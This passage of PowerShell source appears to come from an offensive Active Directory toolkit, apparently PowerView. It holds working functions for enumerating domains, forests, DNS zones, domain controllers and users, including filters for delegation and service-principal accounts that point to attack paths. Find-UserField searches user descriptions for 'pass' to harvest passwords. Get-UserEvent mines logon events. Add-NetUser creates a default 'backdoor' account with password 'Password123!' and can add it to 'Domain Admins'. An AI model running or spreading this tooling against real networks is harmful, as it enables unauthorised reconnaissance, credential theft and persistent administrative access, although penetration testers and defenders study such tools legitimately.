1872 The zone to query for records (which can be enumearted with Get-DNSZone). Required.
1873 .PARAMETER Domain
1874 The domain to query for zones, defaults to the current domain.
1875 .PARAMETER DomainController
1876 Domain controller to reflect LDAP queries through.
1877 .PARAMETER PageSize
1878 The PageSize to set for the LDAP searcher object.
1879 .PARAMETER Credential
1880 A [Management.Automation.PSCredential] object of alternate credentials
1881 for connection to the target domain.
1882 .EXAMPLE
1883 PS C:\> Get-DNSRecord -ZoneName testlab.local
1884 Retrieve all records for the testlab.local zone.
1885 .EXAMPLE
1886 PS C:\> Get-DNSZone | Get-DNSRecord
1887 Retrieve all records for all zones in the current domain.
1888 .EXAMPLE
1889 PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local
1890 Retrieve all records for all zones in the dev.testlab.local domain.
1891#>
1892
1893 param(
1894 [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
1895 [String]
1896 $ZoneName,
1897
1898 [String]
1899 $Domain,
1900
1901 [String]
1902 $DomainController,
1903
1904 [ValidateRange(1,10000)]
1905 [Int]
1906 $PageSize = 200,
1907
1908 [Management.Automation.PSCredential]
1909 $Credential
1910 )
1911
1912 $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
1913 $DNSSearcher.filter="(objectClass=dnsNode)"
1914
1915 if($DNSSearcher) {
1916 $Results = $DNSSearcher.FindAll()
1917 $Results | Where-Object {$_} | ForEach-Object {
1918 try {
1919 # convert/process the LDAP fields for each result
1920 $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
1921 $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName
1922
1923 # convert the record and extract the properties
1924 if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
1925 # TODO: handle multiple nested records properly?
1926 $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0]
1927 }
1928 else {
1929 $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord
1930 }
1931
1932 if($Record) {
1933 $Record.psobject.properties | ForEach-Object {
1934 $Properties | Add-Member NoteProperty $_.Name $_.Value
1935 }
1936 }
1937
1938 $Properties
1939 }
1940 catch {
1941 Write-Warning "ERROR: $_"
1942 $Properties
1943 }
1944 }
1945 $Results.dispose()
1946 $DNSSearcher.dispose()
1947 }
1948}
1949
1950
1951filter Get-NetDomain {
1952<#
1953 .SYNOPSIS
1954 Returns a given domain object.
1955 .PARAMETER Domain
1956 The domain name to query for, defaults to the current domain.
1957 .PARAMETER Credential
1958 A [Management.Automation.PSCredential] object of alternate credentials
1959 for connection to the target domain.
1960 .EXAMPLE
1961 PS C:\> Get-NetDomain -Domain testlab.local
1962 .EXAMPLE
1963 PS C:\> "testlab.local" | Get-NetDomain
1964 .LINK
1965 http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
1966#>
1967
1968 param(
1969 [Parameter(ValueFromPipeline=$True)]
1970 [String]
1971 $Domain,
1972
1973 [Management.Automation.PSCredential]
1974 $Credential
1975 )
1976
1977 if($Credential) {
1978
1979 Write-Verbose "Using alternate credentials for Get-NetDomain"
1980
1981 if(!$Domain) {
1982 # if no domain is supplied, extract the logon domain from the PSCredential passed
1983 $Domain = $Credential.GetNetworkCredential().Domain
1984 Write-Verbose "Extracted domain '$Domain' from -Credential"
1985 }
1986
1987 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
1988
1989 try {
1990 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
1991 }
1992 catch {
1993 Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
1994 $Null
1995 }
1996 }
1997 elseif($Domain) {
1998 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
1999 try {
2000 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
2001 }
2002 catch {
2003 Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."
2004 $Null
2005 }
2006 }
2007 else {
2008 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
2009 }
2010}
2011
2012
2013filter Get-NetForest {
2014<#
2015 .SYNOPSIS
2016 Returns a given forest object.
2017 .PARAMETER Forest
2018 The forest name to query for, defaults to the current domain.
2019 .PARAMETER Credential
2020 A [Management.Automation.PSCredential] object of alternate credentials
2021 for connection to the target domain.
2022 .EXAMPLE
2023
2024 PS C:\> Get-NetForest -Forest external.domain
2025 .EXAMPLE
2026
2027 PS C:\> "external.domain" | Get-NetForest
2028#>
2029
2030 param(
2031 [Parameter(ValueFromPipeline=$True)]
2032 [String]
2033 $Forest,
2034
2035 [Management.Automation.PSCredential]
2036 $Credential
2037 )
2038
2039 if($Credential) {
2040
2041 Write-Verbose "Using alternate credentials for Get-NetForest"
2042
2043 if(!$Forest) {
2044 # if no domain is supplied, extract the logon domain from the PSCredential passed
2045 $Forest = $Credential.GetNetworkCredential().Domain
2046 Write-Verbose "Extracted domain '$Forest' from -Credential"
2047 }
2048
2049 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
2050
2051 try {
2052 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
2053 }
2054 catch {
2055 Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
2056 $Null
2057 }
2058 }
2059 elseif($Forest) {
2060 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
2061 try {
2062 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
2063 }
2064 catch {
2065 Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust."
2066 return $Null
2067 }
2068 }
2069 else {
2070 # otherwise use the current forest
2071 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
2072 }
2073
2074 if($ForestObject) {
2075 # get the SID of the forest root
2076 $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
2077 $Parts = $ForestSid -Split "-"
2078 $ForestSid = $Parts[0..$($Parts.length-2)] -join "-"
2079 $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
2080 $ForestObject
2081 }
2082}
2083
2084
2085filter Get-NetForestDomain {
2086<#
2087 .SYNOPSIS
2088 Return all domains for a given forest.
2089 .PARAMETER Forest
2090 The forest name to query domain for.
2091 .PARAMETER Credential
2092 A [Management.Automation.PSCredential] object of alternate credentials
2093 for connection to the target domain.
2094 .EXAMPLE
2095 PS C:\> Get-NetForestDomain
2096 .EXAMPLE
2097 PS C:\> Get-NetForestDomain -Forest external.local
2098#>
2099
2100 param(
2101 [Parameter(ValueFromPipeline=$True)]
2102 [String]
2103 $Forest,
2104
2105 [Management.Automation.PSCredential]
2106 $Credential
2107 )
2108
2109 $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential
2110
2111 if($ForestObject) {
2112 $ForestObject.Domains
2113 }
2114}
2115
2116
2117filter Get-NetForestCatalog {
2118<#
2119 .SYNOPSIS
2120 Return all global catalogs for a given forest.
2121 .PARAMETER Forest
2122 The forest name to query domain for.
2123 .PARAMETER Credential
2124 A [Management.Automation.PSCredential] object of alternate credentials
2125 for connection to the target domain.
2126 .EXAMPLE
2127 PS C:\> Get-NetForestCatalog
2128#>
2129
2130 param(
2131 [Parameter(ValueFromPipeline=$True)]
2132 [String]
2133 $Forest,
2134
2135 [Management.Automation.PSCredential]
2136 $Credential
2137 )
2138
2139 $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential
2140
2141 if($ForestObject) {
2142 $ForestObject.FindAllGlobalCatalogs()
2143 }
2144}
2145
2146
2147filter Get-NetDomainController {
2148<#
2149 .SYNOPSIS
2150 Return the current domain controllers for the active domain.
2151 .PARAMETER Domain
2152 The domain to query for domain controllers, defaults to the current domain.
2153 .PARAMETER DomainController
2154 Domain controller to reflect LDAP queries through.
2155 .PARAMETER LDAP
2156 Switch. Use LDAP queries to determine the domain controllers.
2157 .PARAMETER Credential
2158 A [Management.Automation.PSCredential] object of alternate credentials
2159 for connection to the target domain.
2160 .EXAMPLE
2161 PS C:\> Get-NetDomainController -Domain 'test.local'
2162
2163 Determine the domain controllers for 'test.local'.
2164 .EXAMPLE
2165 PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP
2166 Determine the domain controllers for 'test.local' using LDAP queries.
2167 .EXAMPLE
2168 PS C:\> 'test.local' | Get-NetDomainController
2169 Determine the domain controllers for 'test.local'.
2170#>
2171
2172 [CmdletBinding()]
2173 param(
2174 [Parameter(ValueFromPipeline=$True)]
2175 [String]
2176 $Domain,
2177
2178 [String]
2179 $DomainController,
2180
2181 [Switch]
2182 $LDAP,
2183
2184 [Management.Automation.PSCredential]
2185 $Credential
2186 )
2187
2188 if($LDAP -or $DomainController) {
2189 # filter string to return all domain controllers
2190 Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
2191 }
2192 else {
2193 $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
2194 if($FoundDomain) {
2195 $Founddomain.DomainControllers
2196 }
2197 }
2198}
2199
2200
2201########################################################
2202#
2203# "net *" replacements and other fun start below
2204#
2205########################################################
2206
2207function Get-NetUser {
2208<#
2209 .SYNOPSIS
2210 Query information for a given user or users in the domain
2211 using ADSI and LDAP. Another -Domain can be specified to
2212 query for users across a trust.
2213 Replacement for "net users /domain"
2214 .PARAMETER UserName
2215 Username filter string, wildcards accepted.
2216 .PARAMETER Domain
2217 The domain to query for users, defaults to the current domain.
2218 .PARAMETER DomainController
2219 Domain controller to reflect LDAP queries through.
2220 .PARAMETER ADSpath
2221 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
2222 Useful for OU queries.
2223 .PARAMETER Filter
2224 A customized ldap filter string to use, e.g. "(description=*admin*)"
2225 .PARAMETER AdminCount
2226 Switch. Return users with adminCount=1.
2227 .PARAMETER SPN
2228 Switch. Only return user objects with non-null service principal names.
2229 .PARAMETER Unconstrained
2230 Switch. Return users that have unconstrained delegation.
2231 .PARAMETER AllowDelegation
2232 Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
2233 .PARAMETER PageSize
2234 The PageSize to set for the LDAP searcher object.
2235 .PARAMETER Credential
2236 A [Management.Automation.PSCredential] object of alternate credentials
2237 for connection to the target domain.
2238 .EXAMPLE
2239 PS C:\> Get-NetUser -Domain testing
2240 .EXAMPLE
2241 PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local"
2242#>
2243
2244 param(
2245 [Parameter(Position=0, ValueFromPipeline=$True)]
2246 [String]
2247 $UserName,
2248
2249 [String]
2250 $Domain,
2251
2252 [String]
2253 $DomainController,
2254
2255 [String]
2256 $ADSpath,
2257
2258 [String]
2259 $Filter,
2260
2261 [Switch]
2262 $SPN,
2263
2264 [Switch]
2265 $AdminCount,
2266
2267 [Switch]
2268 $Unconstrained,
2269
2270 [Switch]
2271 $AllowDelegation,
2272
2273 [ValidateRange(1,10000)]
2274 [Int]
2275 $PageSize = 200,
2276
2277 [Management.Automation.PSCredential]
2278 $Credential
2279 )
2280
2281 begin {
2282 # so this isn't repeated if users are passed on the pipeline
2283 $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential
2284 }
2285
2286 process {
2287 if($UserSearcher) {
2288
2289 # if we're checking for unconstrained delegation
2290 if($Unconstrained) {
2291 Write-Verbose "Checking for unconstrained delegation"
2292 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
2293 }
2294 if($AllowDelegation) {
2295 Write-Verbose "Checking for users who can be delegated"
2296 # negation of "Accounts that are sensitive and not trusted for delegation"
2297 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))"
2298 }
2299 if($AdminCount) {
2300 Write-Verbose "Checking for adminCount=1"
2301 $Filter += "(admincount=1)"
2302 }
2303
2304 # check if we're using a username filter or not
2305 if($UserName) {
2306 # samAccountType=805306368 indicates user objects
2307 $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)"
2308 }
2309 elseif($SPN) {
2310 $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)"
2311 }
2312 else {
2313 # filter is something like "(samAccountName=*blah*)" if specified
2314 $UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
2315 }
2316
2317 $Results = $UserSearcher.FindAll()
2318 $Results | Where-Object {$_} | ForEach-Object {
2319 # convert/process the LDAP fields for each result
2320 $User = Convert-LDAPProperty -Properties $_.Properties
2321 $User.PSObject.TypeNames.Add('PowerView.User')
2322 $User
2323 }
2324 $Results.dispose()
2325 $UserSearcher.dispose()
2326 }
2327 }
2328}
2329
2330
2331function Add-NetUser {
2332<#
2333 .SYNOPSIS
2334 Adds a domain user or a local user to the current (or remote) machine,
2335 if permissions allow, utilizing the WinNT service provider and
2336 DirectoryServices.AccountManagement, respectively.
2337
2338 The default behavior is to add a user to the local machine.
2339 An optional group name to add the user to can be specified.
2340 .PARAMETER UserName
2341 The username to add. If not given, it defaults to 'backdoor'
2342 .PARAMETER Password
2343 The password to set for the added user. If not given, it defaults to 'Password123!'
2344 .PARAMETER GroupName
2345 Group to optionally add the user to.
2346 .PARAMETER ComputerName
2347 Hostname to add the local user to, defaults to 'localhost'
2348 .PARAMETER Domain
2349 Specified domain to add the user to.
2350 .EXAMPLE
2351 PS C:\> Add-NetUser -UserName john -Password 'Password123!'
2352
2353 Adds a localuser 'john' to the local machine with password of 'Password123!'
2354 .EXAMPLE
2355 PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local
2356
2357 Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group.
2358 .EXAMPLE
2359 PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain ''
2360
2361 Adds the user "john" with password "password" to the current domain and adds
2362 the user to the domain group "Domain Admins"
2363 .EXAMPLE
2364 PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing'
2365
2366 Adds the user "john" with password "password" to the 'testing' domain and adds
2367 the user to the domain group "Domain Admins"
2368 .Link
2369 http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx
2370#>
2371
2372 [CmdletBinding()]
2373 Param (
2374 [ValidateNotNullOrEmpty()]
2375 [String]
2376 $UserName = 'backdoor',
2377
2378 [ValidateNotNullOrEmpty()]
2379 [String]
2380 $Password = 'Password123!',
2381
2382 [ValidateNotNullOrEmpty()]
2383 [String]
2384 $GroupName,
2385
2386 [ValidateNotNullOrEmpty()]
2387 [Alias('HostName')]
2388 [String]
2389 $ComputerName = 'localhost',
2390
2391 [ValidateNotNullOrEmpty()]
2392 [String]
2393 $Domain
2394 )
2395
2396 if ($Domain) {
2397
2398 $DomainObject = Get-NetDomain -Domain $Domain
2399 if(-not $DomainObject) {
2400 Write-Warning "Error in grabbing $Domain object"
2401 return $Null
2402 }
2403
2404 # add the assembly we need
2405 Add-Type -AssemblyName System.DirectoryServices.AccountManagement
2406
2407 # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
2408 # get the domain context
2409 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject
2410
2411 # create the user object
2412 $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context
2413
2414 # set user properties
2415 $User.Name = $UserName
2416 $User.SamAccountName = $UserName
2417 $User.PasswordNotRequired = $False
2418 $User.SetPassword($Password)
2419 $User.Enabled = $True
2420
2421 Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain"
2422
2423 try {
2424 # commit the user
2425 $User.Save()
2426 "[*] User $UserName successfully created in domain $Domain"
2427 }
2428 catch {
2429 Write-Warning '[!] User already exists!'
2430 return
2431 }
2432 }
2433 else {
2434
2435 Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName"
2436
2437 # if it's not a domain add, it's a local machine add
2438 $ObjOu = [ADSI]"WinNT://$ComputerName"
2439 $ObjUser = $ObjOu.Create('User', $UserName)
2440 $ObjUser.SetPassword($Password)
2441
2442 # commit the changes to the local machine
2443 try {
2444 $Null = $ObjUser.SetInfo()
2445 "[*] User $UserName successfully created on host $ComputerName"
2446 }
2447 catch {
2448 Write-Warning '[!] Account already exists!'
2449 return
2450 }
2451 }
2452
2453 # if a group is specified, invoke Add-NetGroupUser and return its value
2454 if ($GroupName) {
2455 # if we're adding the user to a domain
2456 if ($Domain) {
2457 Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain
2458 "[*] User $UserName successfully added to group $GroupName in domain $Domain"
2459 }
2460 # otherwise, we're adding to a local group
2461 else {
2462 Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName
2463 "[*] User $UserName successfully added to group $GroupName on host $ComputerName"
2464 }
2465 }
2466}
2467
2468
2469function Add-NetGroupUser {
2470<#
2471 .SYNOPSIS
2472 Adds a user to a domain group or a local group on the current (or remote) machine,
2473 if permissions allow, utilizing the WinNT service provider and
2474 DirectoryServices.AccountManagement, respectively.
2475 .PARAMETER UserName
2476 The domain username to query for.
2477 .PARAMETER GroupName
2478 Group to add the user to.
2479 .PARAMETER ComputerName
2480 Hostname to add the user to, defaults to localhost.
2481 .PARAMETER Domain
2482 Domain to add the user to.
2483 .EXAMPLE
2484 PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators
2485
2486 Adds a localuser "john" to the local group "Administrators"
2487 .EXAMPLE
2488 PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local
2489
2490 Adds the existing user "john" to the domain group "Domain Admins" in "dev.local"
2491#>
2492
2493 [CmdletBinding()]
2494 param(
2495 [Parameter(Mandatory = $True)]
2496 [ValidateNotNullOrEmpty()]
2497 [String]
2498 $UserName,
2499
2500 [Parameter(Mandatory = $True)]
2501 [ValidateNotNullOrEmpty()]
2502 [String]
2503 $GroupName,
2504
2505 [ValidateNotNullOrEmpty()]
2506 [Alias('HostName')]
2507 [String]
2508 $ComputerName,
2509
2510 [String]
2511 $Domain
2512 )
2513
2514 # add the assembly if we need it
2515 Add-Type -AssemblyName System.DirectoryServices.AccountManagement
2516
2517 # if we're adding to a remote host's local group, use the WinNT provider
2518 if($ComputerName -and ($ComputerName -ne "localhost")) {
2519 try {
2520 Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName"
2521 ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user")
2522 "[*] User $UserName successfully added to group $GroupName on $ComputerName"
2523 }
2524 catch {
2525 Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName"
2526 return
2527 }
2528 }
2529
2530 # otherwise it's a local machine or domain add
2531 else {
2532 try {
2533 if ($Domain) {
2534 Write-Verbose "Adding user $UserName to $GroupName on domain $Domain"
2535 $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain
2536 $DomainObject = Get-NetDomain -Domain $Domain
2537 if(-not $DomainObject) {
2538 return $Null
2539 }
2540 # get the full principal context
2541 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject
2542 }
2543 else {
2544 # otherwise, get the local machine context
2545 Write-Verbose "Adding user $UserName to $GroupName on localhost"
2546 $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName)
2547 }
2548
2549 # find the particular group
2550 $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName)
2551
2552 # add the particular user to the group
2553 $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName)
2554
2555 # commit the changes
2556 $Group.Save()
2557 }
2558 catch {
2559 Write-Warning "Error adding $UserName to $GroupName : $_"
2560 }
2561 }
2562}
2563
2564
2565function Get-UserProperty {
2566<#
2567 .SYNOPSIS
2568 Returns a list of all user object properties. If a property
2569 name is specified, it returns all [user:property] values.
2570 Taken directly from @obscuresec's post:
2571 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
2572 .PARAMETER Properties
2573 Property names to extract for users.
2574 .PARAMETER Domain
2575 The domain to query for user properties, defaults to the current domain.
2576 .PARAMETER DomainController
2577 Domain controller to reflect LDAP queries through.
2578 .PARAMETER PageSize
2579 The PageSize to set for the LDAP searcher object.
2580 .PARAMETER Credential
2581 A [Management.Automation.PSCredential] object of alternate credentials
2582 for connection to the target domain.
2583 .EXAMPLE
2584 PS C:\> Get-UserProperty -Domain testing
2585
2586 Returns all user properties for users in the 'testing' domain.
2587 .EXAMPLE
2588 PS C:\> Get-UserProperty -Properties ssn,lastlogon,location
2589
2590 Returns all an array of user/ssn/lastlogin/location combinations
2591 for users in the current domain.
2592 .LINK
2593 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
2594#>
2595
2596 [CmdletBinding()]
2597 param(
2598 [String[]]
2599 $Properties,
2600
2601 [String]
2602 $Domain,
2603
2604 [String]
2605 $DomainController,
2606
2607 [ValidateRange(1,10000)]
2608 [Int]
2609 $PageSize = 200,
2610
2611 [Management.Automation.PSCredential]
2612 $Credential
2613 )
2614
2615 if($Properties) {
2616 # extract out the set of all properties for each object
2617 $Properties = ,"name" + $Properties
2618 Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties
2619 }
2620 else {
2621 # extract out just the property names
2622 Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name'
2623 }
2624}
2625
2626
2627filter Find-UserField {
2628<#
2629 .SYNOPSIS
2630 Searches user object fields for a given word (default *pass*). Default
2631 field being searched is 'description'.
2632 Taken directly from @obscuresec's post:
2633 http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
2634 .PARAMETER SearchTerm
2635 Term to search for, default of "pass".
2636 .PARAMETER SearchField
2637 User field to search, default of "description".
2638 .PARAMETER ADSpath
2639 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
2640 Useful for OU queries.
2641 .PARAMETER Domain
2642 Domain to search computer fields for, defaults to the current domain.
2643 .PARAMETER DomainController
2644 Domain controller to reflect LDAP queries through.
2645 .PARAMETER PageSize
2646 The PageSize to set for the LDAP searcher object.
2647 .PARAMETER Credential
2648 A [Management.Automation.PSCredential] object of alternate credentials
2649 for connection to the target domain.
2650 .EXAMPLE
2651 PS C:\> Find-UserField -SearchField info -SearchTerm backup
2652 Find user accounts with "backup" in the "info" field.
2653#>
2654
2655 [CmdletBinding()]
2656 param(
2657 [Parameter(Position=0,ValueFromPipeline=$True)]
2658 [String]
2659 $SearchTerm = 'pass',
2660
2661 [String]
2662 $SearchField = 'description',
2663
2664 [String]
2665 $ADSpath,
2666
2667 [String]
2668 $Domain,
2669
2670 [String]
2671 $DomainController,
2672
2673 [ValidateRange(1,10000)]
2674 [Int]
2675 $PageSize = 200,
2676
2677 [Management.Automation.PSCredential]
2678 $Credential
2679 )
2680
2681 Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
2682}
2683
2684
2685filter Get-UserEvent {
2686<#
2687 .SYNOPSIS
2688 Dump and parse security events relating to an account logon (ID 4624)
2689 or a TGT request event (ID 4768). Intended to be used and tested on
2690 Windows 2008 Domain Controllers.
2691 Admin Reqd? YES
2692 Author: @sixdub
2693 .PARAMETER ComputerName
2694 The computer to get events from. Default: Localhost
2695 .PARAMETER EventType
2696 Either 'logon', 'tgt', or 'all'. Defaults: 'logon'
2697 .PARAMETER DateStart
2698 Filter out all events before this date. Default: 5 days
2699 .PARAMETER Credential
2700 A [Management.Automation.PSCredential] object of alternate credentials
2701 for connection to the target domain.
2702 .EXAMPLE
2703 PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local
2704 .LINK
2705 http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
2706#>
2707
2708 Param(
2709 [Parameter(ValueFromPipeline=$True)]
2710 [String]
2711 $ComputerName = $Env:ComputerName,
2712
2713 [String]
2714 [ValidateSet("logon","tgt","all")]
2715 $EventType = "logon",
2716
2717 [DateTime]
2718 $DateStart = [DateTime]::Today.AddDays(-5),
2719
2720 [Management.Automation.PSCredential]
2721 $Credential
2722 )
2723
2724 if($EventType.ToLower() -like "logon") {
2725 [Int32[]]$ID = @(4624)
2726 }
2727 elseif($EventType.ToLower() -like "tgt") {
2728 [Int32[]]$ID = @(4768)
2729 }
2730 else {
2731 [Int32[]]$ID = @(4624, 4768)
2732 }
2733
2734 if($Credential) {
2735 Write-Verbose "Using alternative credentials"
2736 $Arguments = @{
2737 'ComputerName' = $ComputerName;
2738 'Credential' = $Credential;
2739 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
2740 'ErrorAction' = 'SilentlyContinue';
2741 }
2742 }
2743 else {
2744 $Arguments = @{
2745 'ComputerName' = $ComputerName;
2746 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
2747 'ErrorAction' = 'SilentlyContinue';
2748 }
2749 }
2750
2751 # grab all events matching our filter for the specified host
2752 Get-WinEvent @Arguments | ForEach-Object {
2753
2754 if($ID -contains 4624) {
2755 # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10)
2756 if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') {
2757 if($Matches) {
2758 $LogonType = $Matches[0].trim()
2759 $Matches = $Null
2760 }
2761 }
2762 else {
2763 $LogonType = ""
2764 }
2765
2766 # interactive logons or domain logons
2767 if (($LogonType -eq 2) -or ($LogonType -eq 3)) {
2768 try {
2769 # parse and store the account used and the address they came from
2770 if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') {
2771 if($Matches) {
2772 $UserName = $Matches[0].split("`n")[2].split(":")[1].trim()
2773 $Domain = $Matches[0].split("`n")[3].split(":")[1].trim()
2774 $Matches = $Null
2775 }
2776 }
2777 if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') {
2778 if($Matches) {
2779 $Address = $Matches[0].split("`n")[2].split(":")[1].trim()
2780 $Matches = $Null
2781 }
2782 }
2783
2784 # only add if there was account information not for a machine or anonymous logon
2785 if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) {
2786 $LogonEventProperties = @{
2787 'Domain' = $Domain
2788 'ComputerName' = $ComputerName
2789 'Username' = $UserName
2790 'Address' = $Address
2791 'ID' = '4624'
2792 'LogonType' = $LogonType
2793 'Time' = $_.TimeCreated
2794 }
2795 New-Object -TypeName PSObject -Property $LogonEventProperties
2796 }
2797 }
2798 catch {
2799 Write-Verbose "Error parsing event logs: $_"
2800 }
2801 }
2802 }
2803 if($ID -contains 4768) {
2804 # the TGT event type
2805 try {
2806 if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') {
2807 if($Matches) {
2808 $Username = $Matches[0].split("`n")[1].split(":")[1].trim()
2809 $Domain = $Matches[0].split("`n")[2].split(":")[1].trim()
2810 $Matches = $Null
2811 }
2812 }
2813
2814 if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') {
2815 if($Matches) {
2816 $Address = $Matches[0].split("`n")[1].split(":")[-1].trim()
2817 $Matches = $Null
2818 }
2819 }
2820
2821 $LogonEventProperties = @{
2822 'Domain' = $Domain
2823 'ComputerName' = $ComputerName
2824 'Username' = $UserName
2825 'Address' = $Address
2826 'ID' = '4768'
2827 'LogonType' = ''
2828 'Time' = $_.TimeCreated
2829 }
2830
2831 New-Object -TypeName PSObject -Property $LogonEventProperties
2832 }
2833 catch {
2834 Write-Verbose "Error parsing event logs: $_"
2835 }
2836 }
2837 }
2838}
2839
2840
2841function Get-ObjectAcl {
2842<#
2843 .SYNOPSIS
2844 Returns the ACLs associated with a specific active directory object.
2845 Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
2846 .PARAMETER SamAccountName
2847 Object name to filter for.
2848 .PARAMETER Name
2849 Object name to filter for.
2850 .PARAMETER DistinguishedName
2851 Object distinguished name to filter for.
2852 .PARAMETER ResolveGUIDs
2853 Switch. Resolve GUIDs to their display names.
2854 .PARAMETER Filter
2855 A customized ldap filter string to use, e.g. "(description=*admin*)"
2856
2857 .PARAMETER ADSpath
2858 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
2859 Useful for OU queries.
2860 .PARAMETER ADSprefix
2861 Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
2862 .PARAMETER RightsFilter
